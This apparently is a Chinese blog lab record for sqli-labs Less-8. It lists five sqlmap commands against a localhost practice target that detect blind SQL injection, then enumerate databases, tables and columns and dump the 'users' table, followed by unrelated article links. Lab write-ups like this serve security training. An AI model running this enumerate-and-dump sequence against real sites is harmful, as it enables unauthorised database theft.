sqli-labs-Less-8自动化注入方法

sqli-labs 实验记录

Less-8

第一步:进行sqli注入漏洞检测

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch

--batch 表示采用默认参数。

查询结果如图所示:存在注入漏洞,注入类型分别为:boolean-based blind, time-based blind,; 并给出了相应的payload。

第二步:查询服务器中的所有数据库

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch --dbs

--dbs 表示查询数据库。

查询结果如图所示:数据库共有两个,分别为information_schema, security。

第三步:查询指定数据库中的所有表

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch -D security --tables

-D security 表示指定查询数据库security;
--tables 表示查询数据库中的所有表。

查询结果如图所示:数据表共有4个,分别是emails, referers, uagents, users。

第四步:查询指定数据表中的所有列

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch -D security -T users --columns

-T users 表示指定查询数据表users;
--columns 表示查询数据表中的所有列。

查询结果如图所示:数据列共有3个,分别是id, password, username。

第五步:查询指定数据表中的具体信息

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch -D security -T users --dump

--dump 表示查询数据表中的具体信息

查询结果如图所示:数据表users中的具体信息共有13条。

相关推荐
百结2141 小时前
Mysql数据库操作
数据库·mysql·oracle
ego.iblacat2 小时前
MySQL 服务基础
数据库·mysql
攒了一袋星辰4 小时前
高并发强一致性顺序号生成系统 -- SequenceGenerator
java·数据库·mysql
顶点多余5 小时前
使用C/C++语言链接Mysql详解
数据库·c++·mysql
纳米软件5 小时前
电源模块纹波与噪声测试:从原理到自动化实现
自动化·labview·电源测试系统·atecloud·零代码软件开发
卷福同学6 小时前
【养虾日记】QClaw操作浏览器自动化发文
运维·人工智能·程序人生·自动化
智_永无止境6 小时前
AI时代,一个Skill如何让Java项目结构自动化?
自动化·skills
小小邵同学7 小时前
jsp payload解析
网络安全
Seven977 小时前
MySQL语句执行深度剖析:从连接到执行的全过程
mysql
总要冲动一次8 小时前
离线安装 percona-xtrabackup-24
linux·数据库·mysql·centos